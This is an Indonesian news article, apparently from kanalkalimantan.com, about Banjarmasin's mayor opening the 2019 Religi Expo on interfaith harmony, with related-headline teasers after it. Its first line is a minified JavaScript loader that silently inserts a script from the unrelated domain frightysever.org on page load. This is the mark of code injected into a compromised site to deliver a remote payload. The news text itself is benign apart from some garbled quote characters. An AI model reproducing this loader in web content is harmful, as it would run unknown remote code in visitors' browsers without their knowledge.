(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN,Walikota Banjarmasin Ibnu Sina membuka Religi Expo ke 5 tahun 2019 yang diselenggarakan oleh Lembaga Kajian Keislaman dan Kemasyarakatan (LK3) Kota Banjarmasin, di Kawasan Siring Nol Kilometer, Kota Banjarmasin, Jumat (25/10).
Pameran yang dilaksanakan dari tanggal 25 sampai dengan 27 Oktober 2019 itu, diikuti sekira 40 stand dari komunitas agama, lembaga agama, lembaga pendidikan berbasis agama, UKM Kota Banjarmasin dan pengusaha muda yang menampilkan berbagai macam kerajinan tangan, keunikan dari masing-masing agama, suku, etnis dan budaya, serta kuliner.
Mengingat pelaksanaan Religi Expo sudah dilaksanakan selama lima tahun berturut-turut yaitu dari tahun 2015 sampai dengan 2019, Walikota Banjarmasin Ibnu Sina memasukkan pameran tersebut ke dalam agenda tahunan Pemerintah Kota Banjarmasin.
Dalam kegiatan yang mengangkat tema Banjarmasin Kota Rukun, orang nomor satu di kota berslogan kayuh baimbai itu mengatakan bahwa menciptakan kerukunan beragama di semua tingakatan adalah sebuah kewajiban dan tanggunag jawab bersama. “Oleh karena itu saling pengertian, saling perhatian, saling menghormati, saling percaya saya kira menjadi modal kita untuk membangun Indonesia ke depan,†ujarnya.
Sebagai upaya menjaga kerukunan agama, suku, budayad dan bangsa, lebih lanjut ia mengatakan, telah hadir berbagai macam lembaga, forum-forum, Non Government Organization (NGO), di tingkat lokal, nasional bahkan internasional, termasuk event keagamaan yang diharapkan mendidik umat menjadi pribadi yang taat dalam beragama.
Kemudian, dengan dilaksanakannya pameran tersebut, ia berharap bisa menumbuhkan kesadaran untuk lebih memperkuat dan mempersatukan bangsa Indonesia. “Saya berharap melalui kegiatan religi expo 5 ini tumbuh rasa saling tenggang rasa, terbangunnya keadaran untuk memperkuat ke Indonesiaan dalam bingkai kebhinekaan lewat peran komunitas antar agama di ruang publik, serta terbangunnya sinergi di kelompok antar agama untuk memberikan peran-peran positif di ruang publik,†harapnya.
Sementar Direktur LK3 Banjarmasin Rafiqah Bakhriati mengatakan kegiatan ini sebagai bentuk ekplorasi ragam budaya dan agama yang ada di Kota Banjarmasin. Di Banjarmasin sendiri sudah sejak zaman dulu toleransi terbangun, terbukti berbagai budaya, agama, bahasa dan suku hidup rukun. Di kota ini terbentuk kampung-kampung suku dan etnik seperti Pacinan, Kampung Melayu, Kampung Arab, Kampung Ambon, Kampung Bugis, Kampung Jawa dan lainnya. “Membentuk cerita kota tentang keteladanan kehidupan yang rukun dan saling toleransi,” ujarnya.
kegiatan Religi juga dirangkai dengan pelaksanaan workshop Standar Norma Ham bersama Komnas HAM, dilaksanakan pada 24 Oktober yang di ikuti oleh SKPD dan CSO, serta Dialog Kerukunan bersama Pusat kerukunan Umat Beragama (PKUB) Kemenag RI dengan FKUB pada 26 Oktober 2019.(mario)
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
This website uses cookies.